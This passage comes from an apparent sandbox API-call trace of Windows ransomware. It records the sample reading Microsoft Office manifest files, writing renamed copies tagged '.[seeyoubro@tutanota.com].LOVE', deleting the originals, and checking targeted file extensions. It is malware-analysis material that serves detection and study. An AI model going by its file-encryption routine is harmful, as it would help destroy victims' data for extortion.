hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0203.599] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0203.600] ReadFile (in: hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.600] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.600] SetEndOfFile (hFile=0x2d8) returned 1 [0203.600] CloseHandle (hObject=0x2d8) returned 1 [0203.601] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.601] SetEndOfFile (hFile=0x35c) returned 1 [0203.602] CloseHandle (hObject=0x35c) returned 1 [0203.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0203.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.603] lstrlenW (lpString=".doc") returned 4 [0203.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString=".docx") returned 5 [0203.603] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.603] lstrlenW (lpString=".pdf") returned 4 [0203.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString=".xls") returned 4 [0203.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString=".xlsx") returned 5 [0203.603] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.603] lstrlenW (lpString=".ppt") returned 4 [0203.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.603] lstrlenW (lpString=".zip") returned 4 [0203.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.603] lstrlenW (lpString=".rar") returned 4 [0203.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString=".bz2") returned 4 [0203.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.603] lstrlenW (lpString=".7z") returned 3 [0203.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.603] lstrlenW (lpString=".dbf") returned 4 [0203.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.604] lstrlenW (lpString=".1cd") returned 4 [0203.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.604] lstrlenW (lpString=".jpg") returned 4 [0203.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.604] lstrlenW (lpString=".doc") returned 4 [0203.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString=".docx") returned 5 [0203.604] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.604] lstrlenW (lpString=".pdf") returned 4 [0203.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString=".xls") returned 4 [0203.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString=".xlsx") returned 5 [0203.604] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.604] lstrlenW (lpString=".ppt") returned 4 [0203.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.604] lstrlenW (lpString=".zip") returned 4 [0203.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.604] lstrlenW (lpString=".rar") returned 4 [0203.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.604] lstrlenW (lpString=".bz2") returned 4 [0203.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.605] lstrlenW (lpString=".7z") returned 3 [0203.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.605] lstrlenW (lpString=".dbf") returned 4 [0203.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.605] lstrlenW (lpString=".1cd") returned 4 [0203.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0203.605] lstrlenW (lpString=".jpg") returned 4 [0203.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.605] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.605] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0203.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.914] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=253712) returned 1 [0203.914] CloseHandle (hObject=0x330) returned 1 [0203.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0203.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.914] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.914] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.571] GetLastError () returned 0x0 [0204.571] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3df10, lpOverlapped=0x0) returned 1 [0204.605] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3df20, lpOverlapped=0x0) returned 1 [0204.611] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.611] WriteFile (in: hFile=0x350, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.611] SetEndOfFile (hFile=0x350) returned 1 [0204.612] CloseHandle (hObject=0x350) returned 1 [0204.617] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.617] SetEndOfFile (hFile=0x330) returned 1 [0204.619] CloseHandle (hObject=0x330) returned 1 [0204.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0204.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.620] lstrlenW (lpString=".doc") returned 4 [0204.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.620] lstrlenW (lpString=".docx") returned 5 [0204.620] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.620] lstrlenW (lpString=".pdf") returned 4 [0204.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.620] lstrlenW (lpString=".xls") returned 4 [0204.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.620] lstrlenW (lpString=".xlsx") returned 5 [0204.620] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.620] lstrlenW (lpString=".ppt") returned 4 [0204.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.620] lstrlenW (lpString=".zip") returned 4 [0204.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.620] lstrlenW (lpString=".rar") returned 4 [0204.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.620] lstrlenW (lpString=".bz2") returned 4 [0204.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString=".7z") returned 3 [0204.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString=".dbf") returned 4 [0204.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString=".1cd") returned 4 [0204.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString=".jpg") returned 4 [0204.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString=".doc") returned 4 [0204.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString=".docx") returned 5 [0204.621] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.621] lstrlenW (lpString=".pdf") returned 4 [0204.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString=".xls") returned 4 [0204.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString=".xlsx") returned 5 [0204.621] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.621] lstrlenW (lpString=".ppt") returned 4 [0204.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.621] lstrlenW (lpString=".zip") returned 4 [0204.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.621] lstrlenW (lpString=".rar") returned 4 [0204.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.622] lstrlenW (lpString=".bz2") returned 4 [0204.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.622] lstrlenW (lpString=".7z") returned 3 [0204.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.622] lstrlenW (lpString=".dbf") returned 4 [0204.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.622] lstrlenW (lpString=".1cd") returned 4 [0204.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0204.622] lstrlenW (lpString=".jpg") returned 4 [0204.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.622] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.622] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0204.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.624] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=19451) returned 1 [0204.624] CloseHandle (hObject=0x33c) returned 1 [0204.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0204.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.624] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.624] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0204.625] GetLastError () returned 0x0 [0204.625] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0204.636] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4c00, lpOverlapped=0x0) returned 1 [0204.638] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.638] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.638] SetEndOfFile (hFile=0x330) returned 1 [0204.638] CloseHandle (hObject=0x330) returned 1 [0204.640] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.640] SetEndOfFile (hFile=0x33c) returned 1 [0204.641] CloseHandle (hObject=0x33c) returned 1 [0204.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0204.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.643] lstrlenW (lpString=".doc") returned 4 [0204.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.643] lstrlenW (lpString=".docx") returned 5 [0204.643] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.643] lstrlenW (lpString=".pdf") returned 4 [0204.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.643] lstrlenW (lpString=".xls") returned 4 [0204.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.643] lstrlenW (lpString=".xlsx") returned 5 [0204.643] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.643] lstrlenW (lpString=".ppt") returned 4 [0204.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.643] lstrlenW (lpString=".zip") returned 4 [0204.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.644] lstrlenW (lpString=".rar") returned 4 [0204.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString=".bz2") returned 4 [0204.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString=".7z") returned 3 [0204.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.644] lstrlenW (lpString=".dbf") returned 4 [0204.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.644] lstrlenW (lpString=".1cd") returned 4 [0204.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.644] lstrlenW (lpString=".jpg") returned 4 [0204.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.644] lstrlenW (lpString=".doc") returned 4 [0204.644] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString=".docx") returned 5 [0204.644] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.644] lstrlenW (lpString=".pdf") returned 4 [0204.644] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString=".xls") returned 4 [0204.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.644] lstrlenW (lpString=".xlsx") returned 5 [0204.645] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.645] lstrlenW (lpString=".ppt") returned 4 [0204.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.645] lstrlenW (lpString=".zip") returned 4 [0204.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.645] lstrlenW (lpString=".rar") returned 4 [0204.645] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.645] lstrlenW (lpString=".bz2") returned 4 [0204.645] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.645] lstrlenW (lpString=".7z") returned 3 [0204.645] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.645] lstrlenW (lpString=".dbf") returned 4 [0204.645] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.645] lstrlenW (lpString=".1cd") returned 4 [0204.645] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0204.645] lstrlenW (lpString=".jpg") returned 4 [0204.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.645] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.646] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0204.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.648] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=763363) returned 1 [0204.648] CloseHandle (hObject=0x33c) returned 1 [0204.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0204.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.648] 